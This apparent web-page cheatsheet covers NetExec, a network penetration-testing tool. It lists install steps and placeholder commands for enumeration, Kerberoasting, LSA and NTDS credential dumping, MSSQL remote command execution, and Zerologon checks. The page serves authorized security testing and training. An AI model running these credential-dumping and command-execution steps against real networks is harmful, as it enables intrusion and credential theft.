NetExec, also known as nxc
, is a powerful network hacking tool designed to automate security assessments of large-scale networks.
It builds upon the legacy of CrackMapExec, offering enhanced functionality for penetration testers, red teamers, and cybersecurity professionals. Below is a detailed cheatsheet to help you utilize NetExec effectively.
To install NetExec:
bashsudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec --version
The general syntax for NetExec commands:
bashnetexec <service> <target> -u <username> -p <password>
Example for SMB:
bashnetexec smb target -u username -p password
netexec smb target -u '' -p ''
netexec smb target -u 'guest' -p ''
netexec smb target -u username -p password -k
netexec smb target
netexec smb target -u username -p password --shares
netexec smb target -u username -p password --users
netexec smb target -u username -p password --groups --users --shares --sessions
netexec smb target -u username -p password --get-file target_file output_file --share sharename
netexec ldap target -u '' -p '' --users
netexec ldap target -u username -p password --kerberoasting hash.txt
netexec mssql target -u username -p password -x command_to_execute
netexec ftp target -u username -p password --ls
netexec smb target -u username -p password --lsa
netexec smb target -u username -p password --ntds
Check for vulnerabilities like Zerologon or PetitPotam:
bashnetexec smb target -u username -p password -M zerologon
netexec smb target -u username -p password -M webdav
netexec ldap target -u username -p password --bloodhound
Explore the official NetExec Wiki and practice labs like HackTheBox’s Mist or Rebound to refine your skills.
This cheatsheet provides a quick reference to NetExec’s core functionalities, enabling efficient network enumeration, exploitation, and post-exploitation tasks.
PPLBlade is a powerful Protected Process Dumper designed to capture memory from target processes, hide…
HikPwn: Comprehensive Guide to Scanning Hikvision Devices for Vulnerabilities If you’re searching for an efficient…
What Are Bash Comments? Comments in Bash scripts, are notes in your code that the…
When you write a Bash script in Linux, you want it to run correctly every…
Introduction If you’re new to Bash scripting, one of the first skills you’ll need is…
What is Bash Scripting? Bash scripting allows you to save multiple Linux commands in a file and…